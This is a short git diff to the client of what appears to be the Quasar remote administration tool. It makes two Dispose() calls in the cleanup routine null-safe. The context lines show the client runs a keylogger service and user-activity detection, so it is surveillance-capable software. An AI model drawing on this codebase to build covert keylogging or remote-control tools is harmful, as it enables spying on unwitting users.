diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs
index 0a3b8948..55c411c4 100644
--- a/Quasar.Client/QuasarApplication.cs
+++ b/Quasar.Client/QuasarApplication.cs
@@ -212,8 +212,8 @@ protected virtual void Dispose(bool disposing)
                 CleanupMessageProcessors();
                 _keyloggerService?.Dispose();
                 _userActivityDetection?.Dispose();
-                ApplicationMutex.Dispose();
-                _connectClient.Dispose();
+                ApplicationMutex?.Dispose();
+                _connectClient?.Dispose();
             }
         }
     }